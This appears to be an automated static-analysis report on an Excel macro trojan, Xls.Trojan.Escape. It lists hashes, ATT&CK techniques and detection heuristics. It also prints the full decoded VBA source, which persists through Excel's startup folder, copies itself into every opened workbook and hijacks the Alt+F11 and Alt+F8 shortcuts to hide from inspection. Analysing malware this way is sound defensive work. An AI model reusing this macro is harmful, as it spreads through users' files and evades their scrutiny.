Xls.Trojan.Escape — Office (OLE) malware analysis

Static analysis result for SHA-256 a73a313f7aa6966f…

MALICIOUS

Office (OLE)

18.0 KB Created: 2012-09-13 08:33:43 Authoring application: Microsoft Excel First seen: 2015-09-21
MD5: 3abbf28f1c939343fdf5bc9b2c965710 SHA-1: 45f7bfdd1769ffcf22ff3473bd754293e3a05c07 SHA-256: a73a313f7aa6966f0fd9c5f92e1c5260da4edbb2acb57b67b0f75413c1205f38
148 Risk Score

Malware Insights

Xls.Trojan.Escape · confidence 90%

MITRE ATT&CK
T1059.005 Visual Basic T1547.001 Registry Run Keys / Startup Folder

The critical ClamAV heuristic firings indicate this is a known malicious Excel trojan, specifically 'Xls.Trojan.Escape'. The Auto_Open VBA macro is designed to copy the malicious workbook to the Excel startup directory as 'StartUp.xls', thereby establishing persistence. The macro also attempts to configure sheet activation and key event handlers, likely to evade detection or facilitate further malicious actions.

Heuristics 3

  • ClamAV: Xls.Trojan.Escape-2 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Xls.Trojan.Escape-2
  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • Auto_Open macro low OLE_VBA_AUTO
    Auto_Open macro
    Matched line in script
    Sub auto_open()

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 3443 bytes
SHA-256: 5a2e6e3fb5f8fa1d8972614657922017a409bc633a7e5cac8c87e2d94eed5b30
Detection
ClamAV: Xls.Trojan.Escape-1
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "StartUp"
Sub auto_open()
    Dim i As Single
  On Error Resume Next
  If ThisWorkbook.Path <> Application.StartupPath And Dir(Application.StartupPath & "\" & "StartUp.xls") = "" Then
    Application.ScreenUpdating = False
    ThisWorkbook.Sheets("StartUp").Copy
    ActiveWorkbook.SaveAs (Application.StartupPath & "\" & "StartUp.xls")
    n$ = ActiveWorkbook.Name
    ActiveWindow.Visible = False
    Workbooks("StartUp.xls").Save
    'Workbooks(n$).Close (False)
  End If
  Application.OnSheetActivate = "StartUp.xls!ycop"
  Application.OnKey "%{F11}", "StartUp.xls!escape"
  Application.OnKey "%{F8}", "StartUp.xls!escape"
  Application.Calculation = xlCalculationManual
'  On Error Resume Next
'  On Error GoTo 0
    Worksheets("barcode").ComboBox2.Clear
    Worksheets("barcode").ComboBox2.AddItem "MDM20"
    Worksheets("barcode").ComboBox2.AddItem "MDQ70"
    Worksheets("barcode").ComboBox2.AddItem "MDM21"
    Worksheets("barcode").ComboBox2.AddItem "MDM20Z"
    Worksheets("barcode").ComboBox2.AddItem "MDT10"
    Worksheets("barcode").ComboBox2.AddItem "MDS90"
    Worksheets("barcode").ComboBox1.Clear
    Worksheets("barcode").ComboBox1.AddItem "新LOT"
'    Worksheets("barcode").ComboBox3.Clear
    
'    For i = 2 To Worksheets("sequence").[a65536].End(xlUp).Row
'    Worksheets("barcode").ComboBox3.AddItem Worksheets("sequence").Cells(i, 1)
'    Next i
    
    Dim MyArray(280, 3)


     '第一个列表框包含三个数据列
    Worksheets("barcode").ListBox1.ColumnCount = 3
     '第二个框包含六个数据列
    For i = 0 To 280
    MyArray(i, 0) = Worksheets("全工程（ZPT）").Cells(i + 4, 8)
    MyArray(i, 1) = Worksheets("全工程（ZPT）").Cells(i + 4, 6)
    MyArray(i, 2) = Worksheets("全工程（ZPT）").Cells(i + 4, 7)
    Next i


'     MyArray = Worksheets("全工程（ZPT）").Range("F4:H" & Worksheets("全工程（ZPT）").[a65536].End(xlUp).Row)

'     MyArray = Worksheets("全工程（ZPT）").Range("f4:h9")

    Worksheets("barcode").ListBox1.List() = MyArray
'    ListBox2.Column() = MyArray
    
Rem  arr = Worksheets("全工程（ZPT）").Range("F4:H" & Worksheets("全工程（ZPT）").[a65536].End(xlUp).Row)

Rem ListBox1.AddItem Worksheets("全工程（ZPT）").Cells(i, 6)
End Sub

Sub ycop()
  On Error Resume Next
  If ActiveWorkbook.Sheets(1).Name <> "StartUp" Then
    Application.ScreenUpdating = False
    n$ = ActiveSheet.Name
    Workbooks("StartUp.xls").Sheets("StartUp").Copy before:=Worksheets(1)
    Sheets(n$).Select
  End If
End Sub

Sub escape()
    On Error Resume Next
    Application.OnSheetActivate = "StartUp.xls!back"
    Application.OnKey "%{F11}"
    Application.OnKey "%{F8}"
    Application.SendKeys "%{F11}"
    Application.SendKeys "%{F8}"
    For Each book In Workbooks
        Application.DisplayAlerts = False
        If book <> "StartUp.xls" Then book.Sheets("StartUp").Delete
    Next
    For Each book In Workbooks
        If book.Name = "StartUp.xls" Then
        book.Close
    End If
    Next
End Sub

Sub back()
  On Error Resume Next
  Application.OnKey "%{F8}", "StartUp.xls!escape"
  Application.OnKey "%{F11}", "StartUp.xls!escape"
  Application.OnSheetActivate = "StartUp.xls!ycop"
  Application.OnTime Now + TimeValue("00:00:01"), "StartUp.xls!ycop"
  Workbooks.Open Application.StartupPath & "\StartUp.xls"
End Sub

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